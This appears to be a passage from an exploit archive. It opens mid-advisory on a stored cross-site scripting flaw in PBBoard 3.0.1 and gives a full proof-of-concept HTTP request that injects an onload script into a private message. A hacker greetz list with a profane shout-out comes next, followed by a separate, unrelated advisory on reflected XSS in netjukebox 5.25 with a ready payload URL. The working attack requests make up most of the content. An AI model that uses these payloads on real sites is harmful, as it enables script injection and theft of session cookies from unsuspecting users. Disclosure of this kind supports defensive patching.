content of "text" parameter with xss payload 
when reciever will open the message, xss payload will execute

Proof image:- http://oi57.tinypic.com/112d5cx.jpg

//////////////////////
///Demo POC Request///
//////////////////////

POST /PBBoard_v3.0.1/index.php?page=pm_send&send=1&start=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/PBBoard_v3.0.1/index.php?page=pm_send&send=1&index=1&username=ica
Cookie: PowerBB_lastvisit=1417951132; PowerBB_username=ica; PowerBB_password=8a2d334536b2f4146af8cf46acd85110; security_level=0;PHPSESSID=thouojqch98pigioioepn8n2h1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------147872036312473
Content-Length: 670

-----------------------------147872036312473
Content-Disposition: form-data; name="to[]"

ica
-----------------------------147872036312473
Content-Disposition: form-data; name="title"

hi
-----------------------------147872036312473
Content-Disposition: form-data; name="text"

hii</div><font color=red><body onload="prompt( String.fromCharCode(120,115,115,32,116,101,115,116));">//
-----------------------------147872036312473
Content-Disposition: form-data; name="icon"

look/images/icons/i1.gif
-----------------------------147872036312473
Content-Disposition: form-data; name="insert"

Save
-----------------------------147872036312473--



                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, 
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3
            
source: https://www.securityfocus.com/bid/47027/info

netjukebox is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

netjukebox 5.25 is vulnerable; other versions may also be affected. 

http://www.example.com/netjukebox/message.php?skin=%22%3E%3Cscript%3Ealert(0)%3C%2fscript%3E